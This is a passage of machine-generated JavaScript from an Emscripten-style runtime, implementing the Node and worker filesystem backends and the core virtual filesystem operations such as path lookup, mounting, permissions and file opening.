stat.mode | (stat.mode & 146) >> 1 } } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } return stat.mode }), realPath: (function(node) { var parts = []; while (node.parent !== node) { parts.push(node.name); node = node.parent } parts.push(node.mount.opts.root); parts.reverse(); return PATH.join.apply(null, parts) }), flagsToPermissionStringMap: { 0: "r", 1: "r+", 2: "r+", 64: "r", 65: "r+", 66: "r+", 129: "rx+", 193: "rx+", 514: "w+", 577: "w", 578: "w+", 705: "wx", 706: "wx+", 1024: "a", 1025: "a", 1026: "a+", 1089: "a", 1090: "a+", 1153: "ax", 1154: "ax+", 1217: "ax", 1218: "ax+", 4096: "rs", 4098: "rs+" }, flagsToPermissionString: (function(flags) { flags &= ~2097152; flags &= ~2048; flags &= ~32768; flags &= ~524288; if (flags in NODEFS.flagsToPermissionStringMap) { return NODEFS.flagsToPermissionStringMap[flags] } else { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } }), node_ops: { getattr: (function(node) { var path = NODEFS.realPath(node); var stat; try { stat = fs.lstatSync(path) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } if (NODEFS.isWindows && !stat.blksize) { stat.blksize = 4096 } if (NODEFS.isWindows && !stat.blocks) { stat.blocks = (stat.size + stat.blksize - 1) / stat.blksize | 0 } return { dev: stat.dev, ino: stat.ino, mode: stat.mode, nlink: stat.nlink, uid: stat.uid, gid: stat.gid, rdev: stat.rdev, size: stat.size, atime: stat.atime, mtime: stat.mtime, ctime: stat.ctime, blksize: stat.blksize, blocks: stat.blocks } }), setattr: (function(node, attr) { var path = NODEFS.realPath(node); try { if (attr.mode !== undefined) { fs.chmodSync(path, attr.mode); node.mode = attr.mode } if (attr.timestamp !== undefined) { var date = new Date(attr.timestamp); fs.utimesSync(path, date, date) } if (attr.size !== undefined) { fs.truncateSync(path, attr.size) } } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), lookup: (function(parent, name) { var path = PATH.join2(NODEFS.realPath(parent), name); var mode = NODEFS.getMode(path); return NODEFS.createNode(parent, name, mode) }), mknod: (function(parent, name, mode, dev) { var node = NODEFS.createNode(parent, name, mode, dev);
```

```
var path = NODEFS.realPath(node); try { if (FS.isDir(node.mode)) { fs.mkdirSync(path, node.mode) } else { fs.writeFileSync(path, "", { mode: node.mode }) } } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } return node }), rename: (function(oldNode, newDir, newName) { var oldPath = NODEFS.realPath(oldNode); var newPath = PATH.join2(NODEFS.realPath(newDir), newName); try { fs.renameSync(oldPath, newPath) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), unlink: (function(parent, name) { var path = PATH.join2(NODEFS.realPath(parent), name); try { fs.unlinkSync(path) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), rmdir: (function(parent, name) { var path = PATH.join2(NODEFS.realPath(parent), name); try { fs.rmdirSync(path) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), readdir: (function(node) { var path = NODEFS.realPath(node); try { return fs.readdirSync(path) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), symlink: (function(parent, newName, oldPath) { var newPath = PATH.join2(NODEFS.realPath(parent), newName); try { fs.symlinkSync(oldPath, newPath) } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), readlink: (function(node) { var path = NODEFS.realPath(node); try { path = fs.readlinkSync(path); path = NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root), path); return path } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }) }, stream_ops: { open: (function(stream) { var path = NODEFS.realPath(stream.node); try { if (FS.isFile(stream.node.mode)) { stream.nfd = fs.openSync(path, NODEFS.flagsToPermissionString(stream.flags)) } } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), close: (function(stream) { try { if (FS.isFile(stream.node.mode) && stream.nfd) { fs.closeSync(stream.nfd) } } catch (e) { if (!e.code) throw e; throw new FS.ErrnoError(ERRNO_CODES[e.code]) } }), read: (function(stream, buffer, offset, length, position) { if (length === 0) return 0; var nbuffer = new Buffer(length); var res; try { res = fs.readSync(stream.nfd, nbuffer, 0, length, position) } catch (e) { throw new FS.ErrnoError(ERRNO_CODES[e.code]) } if (res > 0) { for (var i = 0; i < res; i++) { buffer[offset + i] = nbuffer[i] } } return res }), write: (function(stream, buffer, offset, length, position) { var nbuffer = new Buffer(buffer.subarray(offset, offset + length)); var res; try { res = fs.writeSync(stream.nfd, nbuffer, 0, length, position) } catch (e) { throw new FS.ErrnoError(ERRNO_CODES[e.code]) } return res }), llseek: (function(stream, offset, whence) { var position = offset; if (whence === 1) { position += stream.position } else if (whence === 2) { if (FS.isFile(stream.node.mode)) { try { var stat = fs.fstatSync(stream.nfd); position += stat.size } catch (e) { throw new FS.ErrnoError(ERRNO_CODES[e.code]) } } } if (position < 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } return position }) } }; var WORKERFS = { DIR_MODE: 16895, FILE_MODE: 33279, reader: null, mount: (function(mount) { assert(ENVIRONMENT_IS_WORKER); if (!WORKERFS.reader) WORKERFS.reader = new FileReaderSync; var root = WORKERFS.createNode(null, "/", WORKERFS.DIR_MODE, 0); var createdParents = {}; function ensureParent(path) { var parts = path.split("/"); var parent = root; for (var i = 0; i < parts.length - 1; i++) { var curr = parts.slice(0, i + 1).join("/"); if (!createdParents[curr]) { createdParents[curr] = WORKERFS.createNode(parent, parts[i], WORKERFS.DIR_MODE, 0) } parent = createdParents[curr] } return parent } function base(path) { var parts = path.split("/"); return parts[parts.length - 1] } Array.prototype.forEach.call(mount.opts.files || [], (function(file) { WORKERFS.createNode(ensureParent(file.name), base(file.name), WORKERFS.FILE_MODE, 0, file, file.lastModifiedDate) })); (mount.opts.blobs || []).forEach((function(obj) { WORKERFS.createNode(ensureParent(obj.name), base(obj.name), WORKERFS.FILE_MODE, 0, obj.data) })); (mount.opts.packages || []).forEach((function(pack) { pack.metadata.files.forEach((function(file) { var name = file.filename.substr(1); WORKERFS.createNode(ensureParent(name), base(name), WORKERFS.FILE_MODE, 0, pack.blob.slice(file.start, file.end)) })) })); return root }), createNode: (function(parent, name, mode, dev, contents, mtime) { var node = FS.createNode(parent, name, mode); node.mode = mode; node.node_ops = WORKERFS.node_ops; node.stream_ops = WORKERFS.stream_ops; node.timestamp = (mtime || new Date).getTime(); assert(WORKERFS.FILE_MODE !== WORKERFS.DIR_MODE); if (mode === WORKERFS.FILE_MODE) { node.size = contents.size; node.contents = contents } else { node.size = 4096; node.contents = {} } if (parent) { parent.contents[name] = node } return node }), node_ops: { getattr: (function(node) { return { dev: 1, ino: undefined, mode: node.mode, nlink: 1, uid: 0, gid: 0, rdev: undefined, size: node.size, atime: new Date(node.timestamp), mtime: new Date(node.timestamp), ctime: new Date(node.timestamp), blksize: 4096, blocks: Math.ceil(node.size / 4096) } }), setattr: (function(node, attr) { if (attr.mode !== undefined) { node.mode = attr.mode } if (attr.timestamp !== undefined) { node.timestamp = attr.timestamp } }), lookup: (function(parent, name) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) }), mknod: (function(parent, name, mode, dev) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), rename: (function(oldNode, newDir, newName) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), unlink: (function(parent, name) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), rmdir: (function(parent, name) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), readdir: (function(node) { var entries = [".", ".."]; for (var key in node.contents) { if (!node.contents.hasOwnProperty(key)) { continue } entries.push(key) } return entries }), symlink: (function(parent, newName, oldPath) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }), readlink: (function(node) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) }) }, stream_ops: { read: (function(stream, buffer, offset, length, position) { if (position >= stream.node.size) return 0; var chunk = stream.node.contents.slice(position, position + length); var ab = WORKERFS.reader.readAsArrayBuffer(chunk); buffer.set(new Uint8Array(ab), offset); return chunk.size }), write: (function(stream, buffer, offset, length, position) { throw new FS.ErrnoError(ERRNO_CODES.EIO) }), llseek: (function(stream, offset, whence) { var position = offset; if (whence === 1) { position += stream.position } else if (whence === 2) { if (FS.isFile(stream.node.mode)) { position += stream.node.size } } if (position < 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } return position }) } }; STATICTOP += 16; STATICTOP += 16; STATICTOP += 16; var FS = { root: null, mounts: [], devices: [null], streams: [], nextInode: 1, nameTable: null, currentPath: "/",
```

initialized: !1, ignorePermissions: !0, trackingDelegate: {}, tracking: { openFlags: { READ: 1, WRITE: 2 } }, ErrnoError: null, genericErrors: {}, filesystems: null, syncFSRequests: 0, handleFSError: (function(e) { if (!(e instanceof FS.ErrnoError)) throw e + " : " + stackTrace(); return ___setErrNo(e.errno) }), lookupPath: (function(path, opts) { path = PATH.resolve(FS.cwd(), path); opts = opts || {}; if (!path) return { path: "", node: null }; var defaults = { follow_mount: !0, recurse_count: 0 }; for (var key in defaults) { if (opts[key] === undefined) { opts[key] = defaults[key] } } if (opts.recurse_count > 8) { throw new FS.ErrnoError(ERRNO_CODES.ELOOP) } var parts = PATH.normalizeArray(path.split("/").filter((function(p) { return !!p })), !1); var current = FS.root; var current_path = "/"; for (var i = 0; i < parts.length; i++) { var islast = i === parts.length - 1; if (islast && opts.parent) { break } current = FS.lookupNode(current, parts[i]); current_path = PATH.join2(current_path, parts[i]); if (FS.isMountpoint(current)) { if (!islast || islast && opts.follow_mount) { current = current.mounted.root } } if (!islast || opts.follow) { var count = 0; while (FS.isLink(current.mode)) { var link = FS.readlink(current_path); current_path = PATH.resolve(PATH.dirname(current_path), link); var lookup = FS.lookupPath(current_path, { recurse_count: opts.recurse_count }); current = lookup.node; if (count++ > 40) { throw new FS.ErrnoError(ERRNO_CODES.ELOOP) } } } } return { path: current_path, node: current } }), getPath: (function(node) { var path; while (!0) { if (FS.isRoot(node)) { var mount = node.mount.mountpoint; if (!path) return mount; return mount[mount.length - 1] !== "/" ? mount + "/" + path : mount + path } path = path ? node.name + "/" + path : node.name; node = node.parent } }), hashName: (function(parentid, name) { var hash = 0; for (var i = 0; i < name.length; i++) { hash = (hash << 5) - hash + name.charCodeAt(i) | 0 } return (parentid + hash >>> 0) % FS.nameTable.length }), hashAddNode: (function(node) { var hash = FS.hashName(node.parent.id, node.name); node.name_next = FS.nameTable[hash]; FS.nameTable[hash] = node }), hashRemoveNode: (function(node) { var hash = FS.hashName(node.parent.id, node.name); if (FS.nameTable[hash] === node) { FS.nameTable[hash] = node.name_next } else { var current = FS.nameTable[hash]; while (current) { if (current.name_next === node) { current.name_next = node.name_next; break } current = current.name_next } } }), lookupNode: (function(parent, name) { var err = FS.mayLookup(parent); if (err) { throw new FS.ErrnoError(err, parent) } var hash = FS.hashName(parent.id, name); for (var node = FS.nameTable[hash]; node; node = node.name_next) { var nodeName = node.name; if (node.parent.id === parent.id && nodeName === name) { return node } } return FS.lookup(parent, name) }), createNode: (function(parent, name, mode, rdev) { if (!FS.FSNode) { FS.FSNode = (function(parent, name, mode, rdev) { if (!parent) { parent = this } this.parent = parent; this.mount = parent.mount; this.mounted = null; this.id = FS.nextInode++; this.name = name; this.mode = mode; this.node_ops = {}; this.stream_ops = {}; this.rdev = rdev }); FS.FSNode.prototype = {}; var readMode = 292 | 73; var writeMode = 146; Object.defineProperties(FS.FSNode.prototype, { read: { get: (function() { return (this.mode & readMode) === readMode }), set: (function(val) { val ? this.mode |= readMode : this.mode &= ~readMode }) }, write: { get: (function() { return (this.mode & writeMode) === writeMode }), set: (function(val) { val ? this.mode |= writeMode : this.mode &= ~writeMode }) }, isFolder: { get: (function() { return FS.isDir(this.mode) }) }, isDevice: { get: (function() { return FS.isChrdev(this.mode) }) } }) } var node = new FS.FSNode(parent, name, mode, rdev); FS.hashAddNode(node); return node }), destroyNode: (function(node) { FS.hashRemoveNode(node) }), isRoot: (function(node) { return node === node.parent }), isMountpoint: (function(node) { return !!node.mounted }), isFile: (function(mode) { return (mode & 61440) === 32768 }), isDir: (function(mode) { return (mode & 61440) === 16384 }), isLink: (function(mode) { return (mode & 61440) === 40960 }), isChrdev: (function(mode) { return (mode & 61440) === 8192 }), isBlkdev: (function(mode) { return (mode & 61440) === 24576 }), isFIFO: (function(mode) { return (mode & 61440) === 4096 }), isSocket: (function(mode) { return (mode & 49152) === 49152 }), flagModes: { "r": 0, "rs": 1052672, "r+": 2, "w": 577, "wx": 705, "xw": 705, "w+": 578, "wx+": 706, "xw+": 706, "a": 1089, "ax": 1217, "xa": 1217, "a+": 1090, "ax+": 1218, "xa+": 1218 }, modeStringToFlags: (function(str) { var flags = FS.flagModes[str]; if (typeof flags === "undefined") { throw new Error("Unknown file open mode: " + str) } return flags }), flagsToPermissionString: (function(flag) { var perms = ["r", "w", "rw"][flag & 3]; if (flag & 512) { perms += "w" } return perms }), nodePermissions: (function(node, perms) { if (FS.ignorePermissions) { return 0 } if (perms.indexOf("r") !== -1 && !(node.mode & 292)) { return ERRNO_CODES.EACCES } else if (perms.indexOf("w") !== -1 && !(node.mode & 146)) { return ERRNO_CODES.EACCES } else if (perms.indexOf("x") !== -1 && !(node.mode & 73)) { return ERRNO_CODES.EACCES } return 0 }), mayLookup: (function(dir) { var err = FS.nodePermissions(dir, "x"); if (err) return err; if (!dir.node_ops.lookup) return ERRNO_CODES.EACCES; return 0 }), mayCreate: (function(dir, name) { try { var node = FS.lookupNode(dir, name); return ERRNO_CODES.EEXIST } catch (e) {} return FS.nodePermissions(dir, "wx") }), mayDelete: (function(dir, name, isdir) { var node; try { node = FS.lookupNode(dir, name) } catch (e) { return e.errno } var err = FS.nodePermissions(dir, "wx"); if (err) { return err } if (isdir) { if (!FS.isDir(node.mode)) { return ERRNO_CODES.ENOTDIR } if (FS.isRoot(node) || FS.getPath(node) === FS.cwd()) { return ERRNO_CODES.EBUSY } } else { if (FS.isDir(node.mode)) { return ERRNO_CODES.EISDIR } } return 0 }), mayOpen: (function(node, flags) { if (!node) { return ERRNO_CODES.ENOENT } if (FS.isLink(node.mode)) { return ERRNO_CODES.ELOOP } else if (FS.isDir(node.mode)) { if (FS.flagsToPermissionString(flags) !== "r" || flags & 512) { return ERRNO_CODES.EISDIR } } return FS.nodePermissions(node, FS.flagsToPermissionString(flags)) }), MAX_OPEN_FDS: 4096, nextfd: (function(fd_start, fd_end) { fd_start = fd_start || 0; fd_end = fd_end || FS.MAX_OPEN_FDS; for (var fd = fd_start; fd <= fd_end; fd++) { if (!FS.streams[fd]) { return fd } } throw new FS.ErrnoError(ERRNO_CODES.EMFILE) }), getStream: (function(fd) { return FS.streams[fd] }), createStream: (function(stream, fd_start, fd_end) { if (!FS.FSStream) { FS.FSStream = (function() {}); FS.FSStream.prototype = {}; Object.defineProperties(FS.FSStream.prototype, { object: { get: (function() { return this.node }), set: (function(val) { this.node = val }) }, isRead: { get: (function() { return (this.flags & 2097155) !== 1 }) }, isWrite: { get: (function() { return (this.flags & 2097155) !== 0 }) }, isAppend: { get: (function() { return this.flags & 1024 }) } }) } var newStream = new FS.FSStream; for (var p in stream) { newStream[p] = stream[p] }

stream = newStream; var fd = FS.nextfd(fd_start, fd_end); stream.fd = fd; FS.streams[fd] = stream; return stream }), closeStream: (function(fd) { FS.streams[fd] = null }), chrdev_stream_ops: { open: (function(stream) { var device = FS.getDevice(stream.node.rdev); stream.stream_ops = device.stream_ops; if (stream.stream_ops.open) { stream.stream_ops.open(stream) } }), llseek: (function() { throw new FS.ErrnoError(ERRNO_CODES.ESPIPE) }) }, major: (function(dev) { return dev >> 8 }), minor: (function(dev) { return dev & 255 }), makedev: (function(ma, mi) { return ma << 8 | mi }), registerDevice: (function(dev, ops) { FS.devices[dev] = { stream_ops: ops } }), getDevice: (function(dev) { return FS.devices[dev] }), getMounts: (function(mount) { var mounts = []; var check = [mount]; while (check.length) { var m = check.pop(); mounts.push(m); check.push.apply(check, m.mounts) } return mounts }), syncfs: (function(populate, callback) { if (typeof populate === "function") { callback = populate; populate = !1 } FS.syncFSRequests++; if (FS.syncFSRequests > 1) { console.log("warning: " + FS.syncFSRequests + " FS.syncfs operations in flight at once, probably just doing extra work") } var mounts = FS.getMounts(FS.root.mount); var completed = 0; function doCallback(err) { assert(FS.syncFSRequests > 0); FS.syncFSRequests--; return callback(err) } function done(err) { if (err) { if (!done.errored) { done.errored = !0; return doCallback(err) } return } if (++completed >= mounts.length) { doCallback(null) } } mounts.forEach((function(mount) { if (!mount.type.syncfs) { return done(null) } mount.type.syncfs(mount, populate, done) })) }), mount: (function(type, opts, mountpoint) { var root = mountpoint === "/"; var pseudo = !mountpoint; var node; if (root && FS.root) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } else if (!root && !pseudo) { var lookup = FS.lookupPath(mountpoint, { follow_mount: !1 }); mountpoint = lookup.path; node = lookup.node; if (FS.isMountpoint(node)) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } if (!FS.isDir(node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) } } var mount = { type: type, opts: opts, mountpoint: mountpoint, mounts: [] }; var mountRoot = type.mount(mount); mountRoot.mount = mount; mount.root = mountRoot; if (root) { FS.root = mountRoot } else if (node) { node.mounted = mount; if (node.mount) { node.mount.mounts.push(mount) } } return mountRoot }), unmount: (function(mountpoint) { var lookup = FS.lookupPath(mountpoint, { follow_mount: !1 }); if (!FS.isMountpoint(lookup.node)) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var node = lookup.node; var mount = node.mounted; var mounts = FS.getMounts(mount); Object.keys(FS.nameTable).forEach(((function(hash) { var current = FS.nameTable[hash]; while (current) { var next = current.name_next; if (mounts.indexOf(current.mount) !== -1) { FS.destroyNode(current) } current = next } })); node.mounted = null; var idx = node.mount.mounts.indexOf(mount); assert(idx !== -1); node.mount.mounts.splice(idx, 1) }), lookup: (function(parent, name) { return parent.node_ops.lookup(parent, name) }), mknod: (function(path, mode, dev) { var lookup = FS.lookupPath(path, { parent: !0 }); var parent = lookup.node; var name = PATH.basename(path); if (!name || name === "." || name === "..") { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var err = FS.mayCreate(parent, name); if (err) { throw new FS.ErrnoError(err) } if (!parent.node_ops.mknod) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } return parent.node_ops.mknod(parent, name, mode, dev) }), create: (function(path, mode) { mode = mode !== undefined ? mode : 438; mode &= 4095; mode |= 32768; return FS.mknod(path, mode, 0) }), mkdir: (function(path, mode) { mode = mode !== undefined ? mode : 511; mode &= 511 | 512; mode |= 16384; return FS.mknod(path, mode, 0) }), mkdirTree: (function(path, mode) { var dirs = path.split("/"); var d = ""; for (var i = 0; i < dirs.length; ++i) { if (!dirs[i]) continue; d += "/" + dirs[i]; try { FS.mkdir(d, mode) } catch (e) { if (e.errno != ERRNO_CODES.EEXIST) throw e } } }), mkdev: (function(path, mode, dev) { if (typeof dev === "undefined") { dev = mode; mode = 438 } mode |= 8192; return FS.mknod(path, mode, dev) }), symlink: (function(oldpath, newpath) { if (!PATH.resolve(oldpath)) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } var lookup = FS.lookupPath(newpath, { parent: !0 }); var parent = lookup.node; if (!parent) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } var newname = PATH.basename(newpath); var err = FS.mayCreate(parent, newname); if (err) { throw new FS.ErrnoError(err) } if (!parent.node_ops.symlink) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } return parent.node_ops.symlink(parent, newname, oldpath) }), rename: (function(old_path, new_path) { var old_dirname = PATH.dirname(old_path); var new_dirname = PATH.dirname(new_path); var old_name = PATH.basename(old_path); var new_name = PATH.basename(new_path); var lookup, old_dir, new_dir; try { lookup = FS.lookupPath(old_path, { parent: !0 }); old_dir = lookup.node; lookup = FS.lookupPath(new_path, { parent: !0 }); new_dir = lookup.node } catch (e) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } if (!old_dir || !new_dir) throw new FS.ErrnoError(ERRNO_CODES.ENOENT); if (old_dir.mount !== new_dir.mount) { throw new FS.ErrnoError(ERRNO_CODES.EXDEV) } var old_node = FS.lookupNode(old_dir, old_name); var relative = PATH.relative(old_path, new_dirname); if (relative.charAt(0) !== ".") { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } relative = PATH.relative(new_path, old_dirname); if (relative.charAt(0) !== ".") { throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY) } var new_node; try { new_node = FS.lookupNode(new_dir, new_name) } catch (e) {} if (old_node === new_node) { return } var isdir = FS.isDir(old_node.mode); var err = FS.mayDelete(old_dir, old_name, isdir); if (err) { throw new FS.ErrnoError(err) } err = new_node ? FS.mayDelete(new_dir, new_name, isdir) : FS.mayCreate(new_dir, new_name); if (err) { throw new FS.ErrnoError(err) } if (!old_dir.node_ops.rename) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if (FS.isMountpoint(old_node) || new_node && FS.isMountpoint(new_node)) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } if (new_dir !== old_dir) { err = FS.nodePermissions(old_dir, "w"); if (err) { throw new FS.ErrnoError(err) } } try { if (FS.trackingDelegate.willMovePath) { FS.trackingDelegate.willMovePath(old_path, new_path) } } catch (e) { console.log("FS.trackingDelegate[\'willMovePath\'](\'" + old_path + "\', \'" + new_path + "\') threw an exception: " + e.message) } FS.hashRemoveNode(old_node); try { old_dir.node_ops.rename(old_node, new_dir, new_name) } catch (e) { throw e } finally { FS.hashAddNode(old_node) } try { if (FS.trackingDelegate.onMovePath) FS.trackingDelegate.onMovePath(old_path, new_path) } catch (e) { console.log("FS.trackingDelegate[\'onMovePath\'](\'" + old_path + "\', \'" + new_path + "\') threw an exception: " +

e.message) } }), rmdir: (function(path) { var lookup = FS.lookupPath(path, { parent: !0 }); var parent = lookup.node; var name = PATH.basename(path); var node = FS.lookupNode(parent, name); var err = FS.mayDelete(parent, name, !0); if (err) { throw new FS.ErrnoError(err) } if (!parent.node_ops.rmdir) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if (FS.isMountpoint(node)) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } try { if (FS.trackingDelegate.willDeletePath) { FS.trackingDelegate.willDeletePath(path) } } catch (e) { console.log("FS.trackingDelegate[\'willDeletePath\'](\'" + path + "\') threw an exception: " + e.message) } parent.node_ops.rmdir(parent, name); FS.destroyNode(node); try { if (FS.trackingDelegate.onDeletePath) FS.trackingDelegate.onDeletePath(path) } catch (e) { console.log("FS.trackingDelegate[\'onDeletePath\'](\'" + path + "\') threw an exception: " + e.message) } }), readdir: (function(path) { var lookup = FS.lookupPath(path, { follow: !0 }); var node = lookup.node; if (!node.node_ops.readdir) { throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) } return node.node_ops.readdir(node) }), unlink: (function(path) { var lookup = FS.lookupPath(path, { parent: !0 }); var parent = lookup.node; var name = PATH.basename(path); var node = FS.lookupNode(parent, name); var err = FS.mayDelete(parent, name, !1); if (err) { throw new FS.ErrnoError(err) } if (!parent.node_ops.unlink) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if (FS.isMountpoint(node)) { throw new FS.ErrnoError(ERRNO_CODES.EBUSY) } try { if (FS.trackingDelegate.willDeletePath) { FS.trackingDelegate.willDeletePath(path) } } catch (e) { console.log("FS.trackingDelegate[\'willDeletePath\'](\'" + path + "\') threw an exception: " + e.message) } parent.node_ops.unlink(parent, name); FS.destroyNode(node); try { if (FS.trackingDelegate.onDeletePath) FS.trackingDelegate.onDeletePath(path) } catch (e) { console.log("FS.trackingDelegate[\'onDeletePath\'](\'" + path + "\') threw an exception: " + e.message) } }), readlink: (function(path) { var lookup = FS.lookupPath(path); var link = lookup.node; if (!link) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } if (!link.node_ops.readlink) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } return PATH.resolve(FS.getPath(link.parent), link.node_ops.readlink(link)) }), stat: (function(path, dontFollow) { var lookup = FS.lookupPath(path, { follow: !dontFollow }); var node = lookup.node; if (!node) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } if (!node.node_ops.getattr) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } return node.node_ops.getattr(node) }), lstat: (function(path) { return FS.stat(path, !0) }), chmod: (function(path, mode, dontFollow) { var node; if (typeof path === "string") { var lookup = FS.lookupPath(path, { follow: !dontFollow }); node = lookup.node } else { node = path } if (!node.node_ops.setattr) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } node.node_ops.setattr(node, { mode: mode & 4095 | node.mode & ~4095, timestamp: Date.now() }) }), lchmod: (function(path, mode) { FS.chmod(path, mode, !0) }), fchmod: (function(fd, mode) { var stream = FS.getStream(fd); if (!stream) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } FS.chmod(stream.node, mode) }), chown: (function(path, uid, gid, dontFollow) { var node; if (typeof path === "string") { var lookup = FS.lookupPath(path, { follow: !dontFollow }); node = lookup.node } else { node = path } if (!node.node_ops.setattr) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } node.node_ops.setattr(node, { timestamp: Date.now() }) }), lchown: (function(path, uid, gid) { FS.chown(path, uid, gid, !0) }), fchown: (function(fd, uid, gid) { var stream = FS.getStream(fd); if (!stream) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } FS.chown(stream.node, uid, gid) }), truncate: (function(path, len) { if (len < 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var node; if (typeof path === "string") { var lookup = FS.lookupPath(path, { follow: !0 }); node = lookup.node } else { node = path } if (!node.node_ops.setattr) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if (FS.isDir(node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.EISDIR) } if (!FS.isFile(node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var err = FS.nodePermissions(node, "w"); if (err) { throw new FS.ErrnoError(err) } node.node_ops.setattr(node, { size: len, timestamp: Date.now() }) }), ftruncate: (function(fd, len) { var stream = FS.getStream(fd); if (!stream) { throw new FS.ErrnoError(ERRNO_CODES.EBADF) } if ((stream.flags & 2097155) === 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } FS.truncate(stream.node, len) }), utime: (function(path, atime, mtime) { var lookup = FS.lookupPath(path, { follow: !0 }); var node = lookup.node; node.node_ops.setattr(node, { timestamp: Math.max(atime, mtime) }) }), open: (function(path, flags, mode, fd_start, fd_end) { if (path === "") { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } flags = typeof flags === "string" ? FS.modeStringToFlags(flags) : flags; mode = typeof mode === "undefined" ? 438 : mode; if (flags & 64) { mode = mode & 4095 | 32768 } else { mode = 0 } var node; if (typeof path === "object") { node = path } else { path = PATH.normalize(path); try { var lookup = FS.lookupPath(path, { follow: !(flags & 131072) }); node = lookup.node } catch (e) {} } var created = !1; if (flags & 64) { if (node) { if (flags & 128) { throw new FS.ErrnoError(ERRNO_CODES.EEXIST) } } else { node = FS.mknod(path, mode, 0); created = !0 } } if (!node) { throw new FS.ErrnoError(ERRNO_CODES.ENOENT) } if (FS.isChrdev(node.mode)) { flags &= ~512 } if (flags & 65536 && !FS.isDir(node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR) } if (!created) { var err = FS.mayOpen(node, flags); if (err) { throw new FS.ErrnoError(err) } } if (flags & 512) { FS.truncate(node, 0) } flags &= ~(128 | 512); var stream = FS.createStream({ node: node, path: FS.getPath(node), flags: flags, seekable: !0, position: 0, stream_ops: node.stream_ops, ungotten: [], error: !1 }, fd_start, fd_end); if (stream.stream_ops.open) { stream.stream_ops.open(stream) } if (Module.logReadFiles && !(flags & 1)) { if (!FS.readFiles) FS.readFiles = {}; if (!(path in FS.readFiles)) { FS.readFiles[path] = 1; Module.printErr("read file: " + path) } } try { if (FS.trackingDelegate.onOpenFile) { var trackingFlags = 0; if ((flags & 2097155) !== 1) { trackingFlags |= FS.tracking.openFlags.READ } if ((flags & 2097155) !== 0) { trackingFlags |= FS.tracking.openFlags.WRITE } FS.trackingDelegate.onOpenFile(path, trackingFlags) } } catch (e) { console.log("FS.trackingDelegate[\'onOpenFile\'](\'" + path + "\', flags) threw an exception: " + e.message) } return stream }), close: (function(stream) { if (stream.getdents) stream.getdents = null; try { if (stream.stream_ops.close) { stream.stream_ops.close(stream) } } catch (e) { throw e } finally

